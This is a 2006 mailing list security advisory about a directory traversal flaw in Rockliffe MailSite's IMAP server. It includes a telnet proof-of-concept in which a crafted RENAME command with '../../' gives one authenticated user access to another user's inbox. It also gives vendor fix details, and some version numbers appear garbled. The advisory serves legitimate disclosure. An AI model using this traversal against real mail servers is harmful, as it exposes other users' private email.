mailing list archives
Rockliffe Directory Transversal Vulnerability
From: Josh Zlatin <jzlatin () ramat cc>
Date: Wed, 4 Jan 2006 09:59:39 -0500 (EST)
Synopsis: Rockliffe's Mailsite Imap Directory Transversal Vulnerability.
Product: Rockliffe Mailsite
Version: Confirmed on Mailsite < 126.96.36.199
Author: Josh Zlatin-Amishav
Date: January 4, 2006
Rockliffe MailSite secure email server software and MailSite MP secure email
gateways provide email server solutions and gateway email protection for
businesses and service providers. Rockliffe has more than 3,000 customers
hosting more than 15 million mailboxes worldwide.
In working with researchers at Tenable Network Security, I have come across
a directory transversal flaw in the IMAP server. It is possible for an
authenticated user to access any user's inbox via a RENAME command.
josh () lab1:~$ telnet 10.0.0.5 143
Connected to 10.0.0.5.
Escape character is '^]'.
* OK MailSite IMAP4 Server 188.8.131.52 ready
a1 login joe pass
a1 OK LOGIN completed
a2 rename ../../josh/INBOX gotcha
a2 OK RENAME folder ../../josh/INBOX renamed to gotcha
a3 select gotcha
* FLAGS (\Answered \Flagged \Deleted \Seen \Draft)
* 0 EXISTS
* 0 RECENT
* OK [PERMANENTFLAGS (\Answered \Flagged \Deleted \Seen \Draft \*)]
* OK [UNSEEN 0]
* OK [UIDVALIDITY 514563061] UIDs are valid
a3 OK [READ-WRITE] opened gotcha
user joe can now access the contents of user josh's INBOX directory.
Vendor notified: January 3, 2006 06:12AM
Contact your sales rep about purchasing Mailsite 184.108.40.206
Mailsite fixed a buffer overun in the Mailsite IMAP server which also fixes
the directory transversal problem. Either upgrade to version 6.1.22 and install
the hotfix (i.e. upgrade to 220.127.116.11), or install the latest version of
Mailsite. The hotfix can be obtained at:
Full-Disclosure - We believe in it.
Hosted and sponsored by Secunia - http://secunia.com/
- Rockliffe Directory Transversal Vulnerability Josh Zlatin (Jan 04)